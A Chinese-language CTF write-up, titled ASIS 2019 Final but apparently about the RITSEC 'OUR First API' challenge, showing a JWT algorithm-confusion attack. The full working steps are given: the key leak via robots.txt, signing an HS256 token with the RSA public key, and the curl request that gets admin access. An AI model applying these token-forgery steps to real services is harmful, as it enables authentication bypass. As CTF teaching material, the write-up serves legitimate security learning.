ASIS 2019 Final的部分web题解

前言

这几天做了ASIS 2019 Final的web题感觉有些东西自己并不是很清楚,因此在赛后总结一波。

0x01 OUR First API
你可以访问如下的这些路由
1
2
3
ctfchallenges.ritsec.club:3000/auth
ctfchallenges.ritsec.club:4000/api/normal
ctfchallenges.ritsec.club:4000/api/admin
当我们尝试去访问这些API时,它会返回缺少JWT授权。
1
2
$ curl ctfchallenges.ritsec.club:4000/api/normal
Forbidden, missing JWT authorization
我们可以通过访问/auth?name=admin来获取JTW的token。
1
2
$ curl ctfchallenges.ritsec.club:3000/auth?name=admin
{"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYW1lIjoiYWRtaW4iLCJ0eXBlIjoidXNlciIsImlhdCI6MTU3NDExNDU3N30.tAg_5g-W5Ch5iauAtWA-ZyfMunJX2YDbNpKgxvvPp0ciMF8YDt7EoUJhs9A-WxzC2z0xs72Kv_5C4HBoCG3Wz-y5on6wDNBZotwCd-vjRXRWURSfoTftnvtvfvF408IUEDVJ_T5ftcT03WDBOWiz2_AhLMJ5mENd4g1aPc__Z7M"}
我们可以使用该JWT作为/api/normal端点,但是你必须是admin。
1
2
$ curl http://ctfchallenges.ritsec.club:4000/api/normal -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYW1lIjoiYWRtaW4iLCJ0eXBlIjoidXNlciIsImlhdCI6MTU3NDExNDU3N30.tAg_5g-W5Ch5iauAtWA-ZyfMunJX2YDbNpKgxvvPp0ciMF8YDt7EoUJhs9A-WxzC2z0xs72Kv_5C4HBoCG3Wz-y5on6wDNBZotwCd-vjRXRWURSfoTftnvtvfvF408IUEDVJ_T5ftcT03WDBOWiz2_AhLMJ5mENd4g1aPc__Z7M'
{"flag":"Congrats on authenticating! Too bad flags aren't for normal users !!"}
使用该token作为/api/admin端点,返回Not an admin!,因此我们查看该token的内容。
我们可以到https://jwt.io/去解密token,token的内容如下:
1
2
3
4
5
{
"name": "admin",
"type": "user",
"iat": 1574114577
}
显然,我们必须伪造自己的token,并将type中的user设置为admin,但是我们必须使用私钥对其进行签名,否则签名检查将会失败。
刚开始,我尝试去修改这个算法和这个token的类型并且改变"alg":"RS256""alg":"none",但是没有成功。
最后在查看API文档的源代码时,看到了这个注释<!-- Robots can help you with the api -->,我们访问robots.txt时得到了下面的内容。
1
2
3
4
$ curl http://ctfchallenges.ritsec.club:3000/robots.txt
User-agent: *
Disallow: /signing.pem
Disallow: /auth
因此,我们得到了signing.pem将用于验证JWT签名的公钥。这一定是一个提示,因此我们开始Google并且找到了这个:https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/january/jwt-attack-walk-through/
我们修改头部并将算法"alg":"RS256"(RSA)更改为"alg":"HS256"(HMAC),该算法使用共享密钥进行签名验证,然后,我们修改payload,并设置"type":"admin"和创建我们的HMAC签名,并将public key用作secret。当我们发送这个token到这个API时,他有望接收更改后的算法类型,并将签名作为HMAC类型进行处理,而public key现在用作secret key。
修改头部和payload并使用base64编码后的jWT如下:
1
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4iLCJ0eXBlIjoiYWRtaW4iLCJpYXQiOjE1NzM5OTMyNDZ9
然后,使用public key作为secret创建HMAC签名,并将其转换为base64。
1
2
3
$ cat signing.pem | xxd -p | tr -d "\\n"
$ echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4iLCJ0eXBlIjoiYWRtaW4iLCJpYXQiOjE1NzM5OTMyNDZ9" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d4947664d413047435371475349623344514542415155414134474e4144434269514b426751444271757a4d476b5a6c4a6d5a6d34705970707865446d7347640a382b396d4f683553394f375737477535564279666c3769334a6443664778524a6448736367366c333231506554587358475a37676f486434586a762f46744b510a44796f614b716c344b6c3639324b4b4b4e2f39784136744b644f5951625a76507179525855564f4764795a31327146424f517a49376f783232594c33756c2f330a6e796944522b702b4a4b62645655364157514944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a
$ python2 -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('1c0a91a9e5e1a74f8f2f57cd443984d2904a826a21bb41a672d246a7005d4e9b')).replace('=','')\")"
具有签名的JTW如下所示:
1
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4iLCJ0eXBlIjoiYWRtaW4iLCJpYXQiOjE1NzM5OTMyNDZ9.HAqRqeXhp0-PL1fNRDmE0pBKgmohu0GmctJGpwBdTps
我们发送这个token到API
1
$ curl http://ctfchallenges.ritsec.club:4000/api/admin -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJuYW1lIjoiYWRtaW4iLCJ0eXBlIjoiYWRtaW4iLCJpYXQiOjE1NzM5OTMyNDZ9.HAqRqeXhp0-PL1fNRDmE0pBKgmohu0GmctJGpwBdTps'
flag: RITSEC{JWT_th1s_0ne_d0wn}
其余的几篇writeup如下:
ASIS 2019 Final – Trust Zone
ASIS 2019 Final – Andex
参考资料:
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/january/jwt-attack-walk-through/
https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/
http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php
https://jwt.io
https://0xf4b1.github.io/ctftime/ctf.ritsec.club/web/our-first-api/
https://xz.aliyun.com/t/2338